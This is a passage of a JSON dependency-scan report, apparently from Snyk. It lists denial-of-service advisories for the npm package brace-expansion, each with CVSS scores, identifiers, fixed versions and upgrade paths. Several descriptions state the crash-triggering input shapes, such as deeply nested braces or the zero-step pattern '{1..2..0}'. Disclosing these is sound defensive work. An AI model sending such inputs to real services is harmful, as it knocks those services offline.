"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
